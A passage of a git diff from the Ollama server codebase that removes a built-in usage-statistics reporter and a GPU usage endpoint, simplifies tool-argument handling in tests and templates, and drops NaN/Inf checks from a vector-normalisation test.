@@ -1689,24 +1639,6 @@ func Serve(ln net.Listener) error {
 	gpus := discover.GPUDevices(ctx, nil)
 	discover.LogDetails(gpus)
 
-	// Set GPU info for usage reporting
-	if s.stats != nil {
-		usage.GPUInfoFunc = func() []usage.GPU {
-			var result []usage.GPU
-			for _, gpu := range gpus {
-				result = append(result, usage.GPU{
-					Name:         gpu.Name,
-					VRAMBytes:    gpu.TotalMemory,
-					ComputeMajor: gpu.ComputeMajor,
-					ComputeMinor: gpu.ComputeMinor,
-					DriverMajor:  gpu.DriverMajor,
-					DriverMinor:  gpu.DriverMinor,
-				})
-			}
-			return result
-		}
-	}
-
 	var totalVRAM uint64
 	for _, gpu := range gpus {
 		totalVRAM += gpu.TotalMemory - envconfig.GpuOverhead()
@@ -1910,63 +1842,6 @@ func (s *Server) PsHandler(c *gin.Context) {
 	c.JSON(http.StatusOK, api.ProcessResponse{Models: models})
 }
 
-func (s *Server) UsageHandler(c *gin.Context) {
-	// Get total VRAM used by Ollama
-	s.sched.loadedMu.Lock()
-	var totalOllamaVRAM uint64
-	for _, runner := range s.sched.loaded {
-		totalOllamaVRAM += runner.vramSize
-	}
-	s.sched.loadedMu.Unlock()
-
-	var resp api.UsageResponse
-
-	// Get GPU/device info
-	gpus := discover.GPUDevices(c.Request.Context(), nil)
-
-	// On Apple Silicon, use system memory instead of Metal's recommendedMaxWorkingSetSize
-	// because unified memory means GPU and CPU share the same physical RAM pool
-	var sysTotal, sysFree uint64
-	if runtime.GOOS == "darwin" && runtime.GOARCH == "arm64" {
-		sysInfo := discover.GetSystemInfo()
-		sysTotal = sysInfo.TotalMemory
-		sysFree = sysInfo.FreeMemory
-	}
-
-	for _, gpu := range gpus {
-		total := gpu.TotalMemory
-		free := gpu.FreeMemory
-
-		// On Apple Silicon, override with system memory values
-		if runtime.GOOS == "darwin" && runtime.GOARCH == "arm64" && sysTotal > 0 {
-			total = sysTotal
-			free = sysFree
-		}
-
-		used := total - free
-		ollamaUsed := min(totalOllamaVRAM, used)
-		otherUsed := used - ollamaUsed
-
-		// Use Description for Name (actual device name like "Apple M2 Max")
-		// Fall back to backend name if Description is empty
-		name := gpu.Description
-		if name == "" {
-			name = gpu.Name
-		}
-
-		resp.GPUs = append(resp.GPUs, api.GPUUsage{
-			Name:    name,
-			Backend: gpu.Library,
-			Total:   total,
-			Free:    free,
-			Used:    ollamaUsed,
-			Other:   otherUsed,
-		})
-	}
-
-	c.JSON(http.StatusOK, resp)
-}
-
 func toolCallId() string {
 	const letterBytes = "abcdefghijklmnopqrstuvwxyz0123456789"
 	b := make([]byte, 8)
@@ -2147,7 +2022,7 @@ func (s *Server) ChatHandler(c *gin.Context) {
 		c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("%q does not support chat", req.Model)})
 		return
 	} else if err != nil {
-		s.handleScheduleError(c, req.Model, err)
+		handleScheduleError(c, req.Model, err)
 		return
 	}
 
@@ -2295,7 +2170,6 @@ func (s *Server) ChatHandler(c *gin.Context) {
 					res.DoneReason = r.DoneReason.String()
 					res.TotalDuration = time.Since(checkpointStart)
 					res.LoadDuration = checkpointLoaded.Sub(checkpointStart)
-					s.usage(c, "chat", m.ShortName, m.Config.ModelFamily, r.PromptEvalCount, r.EvalCount, len(req.Tools) > 0)
 				}
 
 				if builtinParser != nil {
@@ -2471,7 +2345,6 @@ func (s *Server) ChatHandler(c *gin.Context) {
 			resp.Message.ToolCalls = toolCalls
 		}
 
-		s.usage(c, "chat", m.ShortName, m.Config.ModelFamily, resp.PromptEvalCount, resp.EvalCount, len(toolCalls) > 0)
 		c.JSON(http.StatusOK, resp)
 		return
 	}
@@ -2479,8 +2352,7 @@ func (s *Server) ChatHandler(c *gin.Context) {
 	streamResponse(c, ch)
 }
 
-func (s *Server) handleScheduleError(c *gin.Context, name string, err error) {
-	s.usageError()
+func handleScheduleError(c *gin.Context, name string, err error) {
 	switch {
 	case errors.Is(err, errCapabilities), errors.Is(err, errRequired):
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -2522,3 +2394,4 @@ func filterThinkTags(msgs []api.Message, m *Model) []api.Message {
 	}
 	return msgs
 }
+

server/routes_generate_test.go

@@ -22,29 +22,6 @@ import (
 	"github.com/ollama/ollama/ml"
 )
 
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests)
-func testPropsMap(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests)
-func testArgs(m map[string]any) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}
-
-// argsComparer provides cmp options for comparing ToolCallFunctionArguments by value
-var argsComparer = cmp.Comparer(func(a, b api.ToolCallFunctionArguments) bool {
-	return cmp.Equal(a.ToMap(), b.ToMap())
-})
-
 type mockRunner struct {
 	llm.LlamaServer
 
@@ -511,7 +488,7 @@ func TestGenerateChat(t *testing.T) {
 					Parameters: api.ToolFunctionParameters{
 						Type:     "object",
 						Required: []string{"location"},
-						Properties: testPropsMap(map[string]api.ToolProperty{
+						Properties: map[string]api.ToolProperty{
 							"location": {
 								Type:        api.PropertyType{"string"},
 								Description: "The city and state",
@@ -520,7 +497,7 @@ func TestGenerateChat(t *testing.T) {
 								Type: api.PropertyType{"string"},
 								Enum: []any{"celsius", "fahrenheit"},
 							},
-						}),
+						},
 					},
 				},
 			},
@@ -582,15 +559,15 @@ func TestGenerateChat(t *testing.T) {
 		expectedToolCall := api.ToolCall{
 			Function: api.ToolCallFunction{
 				Name: "get_weather",
-				Arguments: testArgs(map[string]any{
+				Arguments: api.ToolCallFunctionArguments{
 					"location": "Seattle, WA",
 					"unit":     "celsius",
-				}),
+				},
 			},
 		}
 
 		expectedToolCall.ID = gotToolCall.ID
-		if diff := cmp.Diff(gotToolCall, expectedToolCall, argsComparer); diff != "" {
+		if diff := cmp.Diff(gotToolCall, expectedToolCall); diff != "" {
 			t.Errorf("tool call mismatch (-got +want):\n%s", diff)
 		}
 	})
@@ -605,7 +582,7 @@ func TestGenerateChat(t *testing.T) {
 					Parameters: api.ToolFunctionParameters{
 						Type:     "object",
 						Required: []string{"location"},
-						Properties: testPropsMap(map[string]api.ToolProperty{
+						Properties: map[string]api.ToolProperty{
 							"location": {
 								Type:        api.PropertyType{"string"},
 								Description: "The city and state",
@@ -614,7 +591,7 @@ func TestGenerateChat(t *testing.T) {
 								Type: api.PropertyType{"string"},
 								Enum: []any{"celsius", "fahrenheit"},
 							},
-						}),
+						},
 					},
 				},
 			},
@@ -711,10 +688,10 @@ func TestGenerateChat(t *testing.T) {
 		expectedToolCall := api.ToolCall{
 			Function: api.ToolCallFunction{
 				Name: "get_weather",
-				Arguments: testArgs(map[string]any{
+				Arguments: api.ToolCallFunctionArguments{
 					"location": "Seattle, WA",
 					"unit":     "celsius",
-				}),
+				},
 			},
 		}
 
@@ -726,7 +703,7 @@ func TestGenerateChat(t *testing.T) {
 		}
 
 		expectedToolCall.ID = finalToolCall.ID
-		if diff := cmp.Diff(finalToolCall, expectedToolCall, argsComparer); diff != "" {
+		if diff := cmp.Diff(finalToolCall, expectedToolCall); diff != "" {
 			t.Errorf("final tool call mismatch (-got +want):\n%s", diff)
 		}
 	})
@@ -739,9 +716,9 @@ func TestGenerateChat(t *testing.T) {
 					Name: "get_weather",
 					Parameters: api.ToolFunctionParameters{
 						Type: "object",
-						Properties: testPropsMap(map[string]api.ToolProperty{
+						Properties: map[string]api.ToolProperty{
 							"location": {Type: api.PropertyType{"string"}},
-						}),
+						},
 					},
 				},
 			},

server/routes_harmony_streaming_test.go

@@ -29,12 +29,12 @@ func getTestTools() []api.Tool {
 				Parameters: api.ToolFunctionParameters{
 					Type:     "object",
 					Required: []string{"location"},
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"location": {
 							Type:        api.PropertyType{"string"},
 							Description: "The city and state, e.g. San Francisco, CA",
 						},
-					}),
+					},
 				},
 			},
 		},
@@ -46,12 +46,12 @@ func getTestTools() []api.Tool {
 				Parameters: api.ToolFunctionParameters{
 					Type:     "object",
 					Required: []string{"expression"},
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"expression": {
 							Type:        api.PropertyType{"string"},
 							Description: "The mathematical expression to calculate",
 						},
-					}),
+					},
 				},
 			},
 		},
@@ -185,9 +185,9 @@ func TestChatHarmonyParserStreamingRealtime(t *testing.T) {
 						{
 							Function: api.ToolCallFunction{
 								Name: "get_weather",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"location": "San Francisco",
-								}),
+								},
 							},
 						},
 					},
@@ -211,9 +211,9 @@ func TestChatHarmonyParserStreamingRealtime(t *testing.T) {
 						{
 							Function: api.ToolCallFunction{
 								Name: "calculate",
-								Arguments: testArgs(map[string]any{
+								Arguments: api.ToolCallFunctionArguments{
 									"expression": "2+2",
-								}),
+								},
 							},
 						},
 					},

server/routes_test.go

@@ -723,20 +723,15 @@ func TestShow(t *testing.T) {
 
 func TestNormalize(t *testing.T) {
 	type testCase struct {
-		input       []float32
-		expectError bool
+		input []float32
 	}
 
 	testCases := []testCase{
-		{input: []float32{1}, expectError: false},
-		{input: []float32{0, 1, 2, 3}, expectError: false},
-		{input: []float32{0.1, 0.2, 0.3}, expectError: false},
-		{input: []float32{-0.1, 0.2, 0.3, -0.4}, expectError: false},
-		{input: []float32{0, 0, 0}, expectError: false},
-		{input: []float32{float32(math.NaN()), 0.2, 0.3}, expectError: true},
-		{input: []float32{0.1, float32(math.NaN()), 0.3}, expectError: true},
-		{input: []float32{float32(math.Inf(1)), 0.2, 0.3}, expectError: true},
-		{input: []float32{float32(math.Inf(-1)), 0.2, 0.3}, expectError: true},
+		{input: []float32{1}},
+		{input: []float32{0, 1, 2, 3}},
+		{input: []float32{0.1, 0.2, 0.3}},
+		{input: []float32{-0.1, 0.2, 0.3, -0.4}},
+		{input: []float32{0, 0, 0}},
 	}
 
 	isNormalized := func(vec []float32) (res bool) {
@@ -753,18 +748,9 @@ func TestNormalize(t *testing.T) {
 
 	for _, tc := range testCases {
 		t.Run("", func(t *testing.T) {
-			normalized, err := normalize(tc.input)
-			if tc.expectError {
-				if err == nil {
-					t.Errorf("Expected error for input %v, but got none", tc.input)
-				}
-			} else {
-				if err != nil {
-					t.Errorf("Unexpected error for input %v: %v", tc.input, err)
-				}
-				if !isNormalized(normalized) {
-					t.Errorf("Vector %v is not normalized", tc.input)
-				}
+			normalized := normalize(tc.input)
+			if !isNormalized(normalized) {
+				t.Errorf("Vector %v is not normalized", tc.input)
 			}
 		})
 	}

server/routes_usage_test.go

@@ -1,60 +0,0 @@
-package server
-
-import (
-	"encoding/json"
-	"net/http"
-	"testing"
-
-	"github.com/gin-gonic/gin"
-
-	"github.com/ollama/ollama/api"
-)
-
-func TestUsageHandler(t *testing.T) {
-	gin.SetMode(gin.TestMode)
-
-	t.Run("empty server", func(t *testing.T) {
-		s := Server{
-			sched: &Scheduler{
-				loaded: make(map[string]*runnerRef),
-			},
-		}
-
-		w := createRequest(t, s.UsageHandler, nil)
-		if w.Code != http.StatusOK {
-			t.Fatalf("expected status code 200, actual %d", w.Code)
-		}
-
-		var resp api.UsageResponse
-		if err := json.NewDecoder(w.Body).Decode(&resp); err != nil {
-			t.Fatal(err)
-		}
-
-		// GPUs may or may not be present depending on system
-		// Just verify we can decode the response
-	})
-
-	t.Run("response structure", func(t *testing.T) {
-		s := Server{
-			sched: &Scheduler{
-				loaded: make(map[string]*runnerRef),
-			},
-		}
-
-		w := createRequest(t, s.UsageHandler, nil)
-		if w.Code != http.StatusOK {
-			t.Fatalf("expected status code 200, actual %d", w.Code)
-		}
-
-		// Verify we can decode the response as valid JSON
-		var resp map[string]any
-		if err := json.NewDecoder(w.Body).Decode(&resp); err != nil {
-			t.Fatal(err)
-		}
-
-		// The response should be a valid object (not null)
-		if resp == nil {
-			t.Error("expected non-nil response")
-		}
-	})
-}

server/usage/reporter.go

@@ -1,65 +0,0 @@
-package usage
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"fmt"
-	"net/http"
-	"time"
-
-	"github.com/ollama/ollama/version"
-)
-
-const (
-	reportTimeout = 10 * time.Second
-	usageURL      = "https://ollama.com/api/usage"
-)
-
-// HeartbeatResponse is the response from the heartbeat endpoint.
-type HeartbeatResponse struct {
-	UpdateVersion string `json:"update_version,omitempty"`
-}
-
-// UpdateAvailable returns the available update version, if any.
-func (t *Stats) UpdateAvailable() string {
-	if v := t.updateAvailable.Load(); v != nil {
-		return v.(string)
-	}
-	return ""
-}
-
-// sendHeartbeat sends usage stats and checks for updates.
-func (t *Stats) sendHeartbeat(payload *Payload) {
-	data, err := json.Marshal(payload)
-	if err != nil {
-		return
-	}
-
-	ctx, cancel := context.WithTimeout(context.Background(), reportTimeout)
-	defer cancel()
-
-	req, err := http.NewRequestWithContext(ctx, http.MethodPost, usageURL, bytes.NewReader(data))
-	if err != nil {
-		return
-	}
-	req.Header.Set("Content-Type", "application/json")
-	req.Header.Set("User-Agent", fmt.Sprintf("ollama/%s", version.Version))
-
-	resp, err := http.DefaultClient.Do(req)
-	if err != nil {
-		return
-	}
-	defer resp.Body.Close()
-
-	if resp.StatusCode != http.StatusOK {
-		return
-	}
-
-	var heartbeat HeartbeatResponse
-	if err := json.NewDecoder(resp.Body).Decode(&heartbeat); err != nil {
-		return
-	}
-
-	t.updateAvailable.Store(heartbeat.UpdateVersion)
-}

server/usage/source.go

@@ -1,23 +0,0 @@
-package usage
-
-import (
-	"strings"
-)
-
-// API type constants
-const (
-	APITypeOllama    = "ollama"
-	APITypeOpenAI    = "openai"
-	APITypeAnthropic = "anthropic"
-)
-
-// ClassifyAPIType determines the API type from the request path.
-func ClassifyAPIType(path string) string {
-	if strings.HasPrefix(path, "/v1/messages") {
-		return APITypeAnthropic
-	}
-	if strings.HasPrefix(path, "/v1/") {
-		return APITypeOpenAI
-	}
-	return APITypeOllama
-}

server/usage/usage.go

@@ -1,324 +0,0 @@
-// Package usage provides in-memory usage statistics collection and reporting.
-package usage
-
-import (
-	"runtime"
-	"sync"
-	"sync/atomic"
-	"time"
-
-	"github.com/ollama/ollama/discover"
-	"github.com/ollama/ollama/version"
-)
-
-// Stats collects usage statistics in memory and reports them periodically.
-type Stats struct {
-	mu sync.RWMutex
-
-	// Atomic counters for hot path
-	requestsTotal    atomic.Int64
-	tokensPrompt     atomic.Int64
-	tokensCompletion atomic.Int64
-	errorsTotal      atomic.Int64
-
-	// Map-based counters (require lock)
-	endpoints     map[string]int64
-	architectures map[string]int64
-	apis          map[string]int64
-	models        map[string]*ModelStats // per-model stats
-
-	// Feature usage
-	toolCalls        atomic.Int64
-	structuredOutput atomic.Int64
-
-	// Update info (set by reporter after pinging update endpoint)
-	updateAvailable atomic.Value // string
-
-	// Reporter
-	stopCh   chan struct{}
-	doneCh   chan struct{}
-	interval time.Duration
-	endpoint string
-}
-
-// ModelStats tracks per-model usage statistics.
-type ModelStats struct {
-	Requests     int64
-	TokensInput  int64
-	TokensOutput int64
-}
-
-// Request contains the data to record for a single request.
-type Request struct {
-	Endpoint         string // "chat", "generate", "embed"
-	Model            string // model name (e.g., "llama3.2:3b")
-	Architecture     string // model architecture (e.g., "llama", "qwen2")
-	APIType          string // "native" or "openai_compat"
-	PromptTokens     int
-	CompletionTokens int
-	UsedTools        bool
-	StructuredOutput bool
-}
-
-// SystemInfo contains hardware information to report.
-type SystemInfo struct {
-	OS        string `json:"os"`
-	Arch      string `json:"arch"`
-	CPUCores  int    `json:"cpu_cores"`
-	RAMBytes  uint64 `json:"ram_bytes"`
-	GPUs      []GPU  `json:"gpus,omitempty"`
-}
-
-// GPU contains information about a GPU.
-type GPU struct {
-	Name         string `json:"name"`
-	VRAMBytes    uint64 `json:"vram_bytes"`
-	ComputeMajor int    `json:"compute_major,omitempty"`
-	ComputeMinor int    `json:"compute_minor,omitempty"`
-	DriverMajor  int    `json:"driver_major,omitempty"`
-	DriverMinor  int    `json:"driver_minor,omitempty"`
-}
-
-// Payload is the data sent to the heartbeat endpoint.
-type Payload struct {
-	Version string     `json:"version"`
-	Time    time.Time  `json:"time"`
-	System  SystemInfo `json:"system"`
-
-	Totals struct {
-		Requests     int64 `json:"requests"`
-		Errors       int64 `json:"errors"`
-		InputTokens  int64 `json:"input_tokens"`
-		OutputTokens int64 `json:"output_tokens"`
-	} `json:"totals"`
-
-	Endpoints     map[string]int64 `json:"endpoints"`
-	Architectures map[string]int64 `json:"architectures"`
-	APIs          map[string]int64 `json:"apis"`
-
-	Features struct {
-		ToolCalls        int64 `json:"tool_calls"`
-		StructuredOutput int64 `json:"structured_output"`
-	} `json:"features"`
-}
-
-const (
-	defaultInterval = 1 * time.Hour
-)
-
-// New creates a new Stats instance.
-func New(opts ...Option) *Stats {
-	t := &Stats{
-		endpoints:     make(map[string]int64),
-		architectures: make(map[string]int64),
-		apis:          make(map[string]int64),
-		models:        make(map[string]*ModelStats),
-		stopCh:        make(chan struct{}),
-		doneCh:        make(chan struct{}),
-		interval:      defaultInterval,
-	}
-
-	for _, opt := range opts {
-		opt(t)
-	}
-
-	return t
-}
-
-// Option configures the Stats instance.
-type Option func(*Stats)
-
-// WithInterval sets the reporting interval.
-func WithInterval(d time.Duration) Option {
-	return func(t *Stats) {
-		t.interval = d
-	}
-}
-
-// Record records a request. This is the hot path and should be fast.
-func (t *Stats) Record(r *Request) {
-	t.requestsTotal.Add(1)
-	t.tokensPrompt.Add(int64(r.PromptTokens))
-	t.tokensCompletion.Add(int64(r.CompletionTokens))
-
-	if r.UsedTools {
-		t.toolCalls.Add(1)
-	}
-	if r.StructuredOutput {
-		t.structuredOutput.Add(1)
-	}
-
-	t.mu.Lock()
-	t.endpoints[r.Endpoint]++
-	t.architectures[r.Architecture]++
-	t.apis[r.APIType]++
-
-	// Track per-model stats
-	if r.Model != "" {
-		if t.models[r.Model] == nil {
-			t.models[r.Model] = &ModelStats{}
-		}
-		t.models[r.Model].Requests++
-		t.models[r.Model].TokensInput += int64(r.PromptTokens)
-		t.models[r.Model].TokensOutput += int64(r.CompletionTokens)
-	}
-	t.mu.Unlock()
-}
-
-// RecordError records a failed request.
-func (t *Stats) RecordError() {
-	t.errorsTotal.Add(1)
-}
-
-// GetModelStats returns a copy of per-model statistics.
-func (t *Stats) GetModelStats() map[string]*ModelStats {
-	t.mu.RLock()
-	defer t.mu.RUnlock()
-
-	result := make(map[string]*ModelStats, len(t.models))
-	for k, v := range t.models {
-		result[k] = &ModelStats{
-			Requests:     v.Requests,
-			TokensInput:  v.TokensInput,
-			TokensOutput: v.TokensOutput,
-		}
-	}
-	return result
-}
-
-// View returns current stats without resetting counters.
-func (t *Stats) View() *Payload {
-	t.mu.RLock()
-	defer t.mu.RUnlock()
-
-	now := time.Now()
-
-	// Copy maps
-	endpoints := make(map[string]int64, len(t.endpoints))
-	for k, v := range t.endpoints {
-		endpoints[k] = v
-	}
-	architectures := make(map[string]int64, len(t.architectures))
-	for k, v := range t.architectures {
-		architectures[k] = v
-	}
-	apis := make(map[string]int64, len(t.apis))
-	for k, v := range t.apis {
-		apis[k] = v
-	}
-
-	p := &Payload{
-		Version:       version.Version,
-		Time:          now,
-		System:        getSystemInfo(),
-		Endpoints:     endpoints,
-		Architectures: architectures,
-		APIs:          apis,
-	}
-
-	p.Totals.Requests = t.requestsTotal.Load()
-	p.Totals.Errors = t.errorsTotal.Load()
-	p.Totals.InputTokens = t.tokensPrompt.Load()
-	p.Totals.OutputTokens = t.tokensCompletion.Load()
-	p.Features.ToolCalls = t.toolCalls.Load()
-	p.Features.StructuredOutput = t.structuredOutput.Load()
-
-	return p
-}
-
-// Snapshot returns current stats and resets counters.
-func (t *Stats) Snapshot() *Payload {
-	t.mu.Lock()
-	defer t.mu.Unlock()
-
-	now := time.Now()
-	p := &Payload{
-		Version:       version.Version,
-		Time:          now,
-		System:        getSystemInfo(),
-		Endpoints:     t.endpoints,
-		Architectures: t.architectures,
-		APIs:          t.apis,
-	}
-
-	p.Totals.Requests = t.requestsTotal.Swap(0)
-	p.Totals.Errors = t.errorsTotal.Swap(0)
-	p.Totals.InputTokens = t.tokensPrompt.Swap(0)
-	p.Totals.OutputTokens = t.tokensCompletion.Swap(0)
-	p.Features.ToolCalls = t.toolCalls.Swap(0)
-	p.Features.StructuredOutput = t.structuredOutput.Swap(0)
-
-	// Reset maps
-	t.endpoints = make(map[string]int64)
-	t.architectures = make(map[string]int64)
-	t.apis = make(map[string]int64)
-
-	return p
-}
-
-// getSystemInfo collects hardware information.
-func getSystemInfo() SystemInfo {
-	info := SystemInfo{
-		OS:   runtime.GOOS,
-		Arch: runtime.GOARCH,
-	}
-
-	// Get CPU and memory info
-	sysInfo := discover.GetSystemInfo()
-	info.CPUCores = sysInfo.ThreadCount
-	info.RAMBytes = sysInfo.TotalMemory
-
-	// Get GPU info
-	gpus := getGPUInfo()
-	info.GPUs = gpus
-
-	return info
-}
-
-// GPUInfoFunc is a function that returns GPU information.
-// It's set by the server package after GPU discovery.
-var GPUInfoFunc func() []GPU
-
-// getGPUInfo collects GPU information.
-func getGPUInfo() []GPU {
-	if GPUInfoFunc != nil {
-		return GPUInfoFunc()
-	}
-	return nil
-}
-
-// Start begins the periodic reporting goroutine.
-func (t *Stats) Start() {
-	go t.reportLoop()
-}
-
-// Stop stops reporting and waits for the final report.
-func (t *Stats) Stop() {
-	close(t.stopCh)
-	<-t.doneCh
-}
-
-// reportLoop runs the periodic reporting.
-func (t *Stats) reportLoop() {
-	defer close(t.doneCh)
-
-	ticker := time.NewTicker(t.interval)
-	defer ticker.Stop()
-
-	for {
-		select {
-		case <-ticker.C:
-			t.report()
-		case <-t.stopCh:
-			// Send final report before stopping
-			t.report()
-			return
-		}
-	}
-}
-
-// report sends usage stats and checks for updates.
-func (t *Stats) report() {
-	payload := t.Snapshot()
-	t.sendHeartbeat(payload)
-}

server/usage/usage_test.go

@@ -1,194 +0,0 @@
-package usage
-
-import (
-	"testing"
-)
-
-func TestNew(t *testing.T) {
-	stats := New()
-	if stats == nil {
-		t.Fatal("New() returned nil")
-	}
-}
-
-func TestRecord(t *testing.T) {
-	stats := New()
-
-	stats.Record(&Request{
-		Model:            "llama3:8b",
-		Endpoint:         "chat",
-		Architecture:     "llama",
-		APIType:          "native",
-		PromptTokens:     100,
-		CompletionTokens: 50,
-		UsedTools:        true,
-		StructuredOutput: false,
-	})
-
-	// Check totals
-	payload := stats.View()
-	if payload.Totals.Requests != 1 {
-		t.Errorf("expected 1 request, got %d", payload.Totals.Requests)
-	}
-	if payload.Totals.InputTokens != 100 {
-		t.Errorf("expected 100 prompt tokens, got %d", payload.Totals.InputTokens)
-	}
-	if payload.Totals.OutputTokens != 50 {
-		t.Errorf("expected 50 completion tokens, got %d", payload.Totals.OutputTokens)
-	}
-	if payload.Features.ToolCalls != 1 {
-		t.Errorf("expected 1 tool call, got %d", payload.Features.ToolCalls)
-	}
-	if payload.Features.StructuredOutput != 0 {
-		t.Errorf("expected 0 structured outputs, got %d", payload.Features.StructuredOutput)
-	}
-}
-
-func TestGetModelStats(t *testing.T) {
-	stats := New()
-
-	// Record requests for multiple models
-	stats.Record(&Request{
-		Model:            "llama3:8b",
-		PromptTokens:     100,
-		CompletionTokens: 50,
-	})
-	stats.Record(&Request{
-		Model:            "llama3:8b",
-		PromptTokens:     200,
-		CompletionTokens: 100,
-	})
-	stats.Record(&Request{
-		Model:            "mistral:7b",
-		PromptTokens:     50,
-		CompletionTokens: 25,
-	})
-
-	modelStats := stats.GetModelStats()
-
-	// Check llama3:8b stats
-	llama := modelStats["llama3:8b"]
-	if llama == nil {
-		t.Fatal("expected llama3:8b stats")
-	}
-	if llama.Requests != 2 {
-		t.Errorf("expected 2 requests for llama3:8b, got %d", llama.Requests)
-	}
-	if llama.TokensInput != 300 {
-		t.Errorf("expected 300 input tokens for llama3:8b, got %d", llama.TokensInput)
-	}
-	if llama.TokensOutput != 150 {
-		t.Errorf("expected 150 output tokens for llama3:8b, got %d", llama.TokensOutput)
-	}
-
-	// Check mistral:7b stats
-	mistral := modelStats["mistral:7b"]
-	if mistral == nil {
-		t.Fatal("expected mistral:7b stats")
-	}
-	if mistral.Requests != 1 {
-		t.Errorf("expected 1 request for mistral:7b, got %d", mistral.Requests)
-	}
-	if mistral.TokensInput != 50 {
-		t.Errorf("expected 50 input tokens for mistral:7b, got %d", mistral.TokensInput)
-	}
-	if mistral.TokensOutput != 25 {
-		t.Errorf("expected 25 output tokens for mistral:7b, got %d", mistral.TokensOutput)
-	}
-}
-
-func TestRecordError(t *testing.T) {
-	stats := New()
-
-	stats.RecordError()
-	stats.RecordError()
-
-	payload := stats.View()
-	if payload.Totals.Errors != 2 {
-		t.Errorf("expected 2 errors, got %d", payload.Totals.Errors)
-	}
-}
-
-func TestView(t *testing.T) {
-	stats := New()
-
-	stats.Record(&Request{
-		Model:        "llama3:8b",
-		Endpoint:     "chat",
-		Architecture: "llama",
-		APIType:      "native",
-	})
-
-	// First view
-	_ = stats.View()
-
-	// View should not reset counters
-	payload := stats.View()
-	if payload.Totals.Requests != 1 {
-		t.Errorf("View should not reset counters, expected 1 request, got %d", payload.Totals.Requests)
-	}
-}
-
-func TestSnapshot(t *testing.T) {
-	stats := New()
-
-	stats.Record(&Request{
-		Model:            "llama3:8b",
-		Endpoint:         "chat",
-		PromptTokens:     100,
-		CompletionTokens: 50,
-	})
-
-	// Snapshot should return data and reset counters
-	snapshot := stats.Snapshot()
-	if snapshot.Totals.Requests != 1 {
-		t.Errorf("expected 1 request in snapshot, got %d", snapshot.Totals.Requests)
-	}
-
-	// After snapshot, counters should be reset
-	payload2 := stats.View()
-	if payload2.Totals.Requests != 0 {
-		t.Errorf("expected 0 requests after snapshot, got %d", payload2.Totals.Requests)
-	}
-}
-
-func TestConcurrentAccess(t *testing.T) {
-	stats := New()
-
-	done := make(chan bool)
-
-	// Concurrent writes
-	for i := 0; i < 10; i++ {
-		go func() {
-			for j := 0; j < 100; j++ {
-				stats.Record(&Request{
-					Model:            "llama3:8b",
-					PromptTokens:     10,
-					CompletionTokens: 5,
-				})
-			}
-			done <- true
-		}()
-	}
-
-	// Concurrent reads
-	for i := 0; i < 5; i++ {
-		go func() {
-			for j := 0; j < 100; j++ {
-				_ = stats.View()
-				_ = stats.GetModelStats()
-			}
-			done <- true
-		}()
-	}
-
-	// Wait for all goroutines
-	for i := 0; i < 15; i++ {
-		<-done
-	}
-
-	payload := stats.View()
-	if payload.Totals.Requests != 1000 {
-		t.Errorf("expected 1000 requests, got %d", payload.Totals.Requests)
-	}
-}

template/template.go

@@ -272,8 +272,8 @@ func (t *Template) Execute(w io.Writer, v Values) error {
 	} else if !v.forceLegacy && slices.Contains(vars, "messages") {
 		return t.Template.Execute(w, map[string]any{
 			"System":     system,
-			"Messages":   convertMessagesForTemplate(messages),
-			"Tools":      convertToolsForTemplate(v.Tools),
+			"Messages":   messages,
+			"Tools":      v.Tools,
 			"Response":   "",
 			"Think":      v.Think,
 			"ThinkLevel": v.ThinkLevel,
@@ -373,140 +373,6 @@ func collate(msgs []api.Message) (string, []*api.Message) {
 	return strings.Join(system, "\n\n"), collated
 }
 
-// templateTools is a slice of templateTool that marshals to JSON.
-type templateTools []templateTool
-
-func (t templateTools) String() string {
-	bts, _ := json.Marshal(t)
-	return string(bts)
-}
-
-// templateArgs is a map type with JSON string output for templates.
-type templateArgs map[string]any
-
-func (t templateArgs) String() string {
-	if t == nil {
-		return "{}"
-	}
-	bts, _ := json.Marshal(t)
-	return string(bts)
-}
-
-// templateProperties is a map type with JSON string output for templates.
-type templateProperties map[string]api.ToolProperty
-
-func (t templateProperties) String() string {
-	if t == nil {
-		return "{}"
-	}
-	bts, _ := json.Marshal(t)
-	return string(bts)
-}
-
-// templateTool is a template-compatible representation of api.Tool
-// with Properties as a regular map for template ranging.
-type templateTool struct {
-	Type     string               `json:"type"`
-	Items    any                  `json:"items,omitempty"`
-	Function templateToolFunction `json:"function"`
-}
-
-type templateToolFunction struct {
-	Name        string                         `json:"name"`
-	Description string                         `json:"description"`
-	Parameters  templateToolFunctionParameters `json:"parameters"`
-}
-
-type templateToolFunctionParameters struct {
-	Type       string             `json:"type"`
-	Defs       any                `json:"$defs,omitempty"`
-	Items      any                `json:"items,omitempty"`
-	Required   []string           `json:"required,omitempty"`
-	Properties templateProperties `json:"properties"`
-}
-
-// templateToolCall is a template-compatible representation of api.ToolCall
-// with Arguments as a regular map for template ranging.
-type templateToolCall struct {
-	ID       string
-	Function templateToolCallFunction
-}
-
-type templateToolCallFunction struct {
-	Index     int
-	Name      string
-	Arguments templateArgs
-}
-
-// templateMessage is a template-compatible representation of api.Message
-// with ToolCalls converted for template use.
-type templateMessage struct {
-	Role       string
-	Content    string
-	Thinking   string
-	Images     []api.ImageData
-	ToolCalls  []templateToolCall
-	ToolName   string
-	ToolCallID string
-}
-
-// convertToolsForTemplate converts Tools to template-compatible format.
-func convertToolsForTemplate(tools api.Tools) templateTools {
-	if tools == nil {
-		return nil
-	}
-	result := make(templateTools, len(tools))
-	for i, tool := range tools {
-		result[i] = templateTool{
-			Type:  tool.Type,
-			Items: tool.Items,
-			Function: templateToolFunction{
-				Name:        tool.Function.Name,
-				Description: tool.Function.Description,
-				Parameters: templateToolFunctionParameters{
-					Type:       tool.Function.Parameters.Type,
-					Defs:       tool.Function.Parameters.Defs,
-					Items:      tool.Function.Parameters.Items,
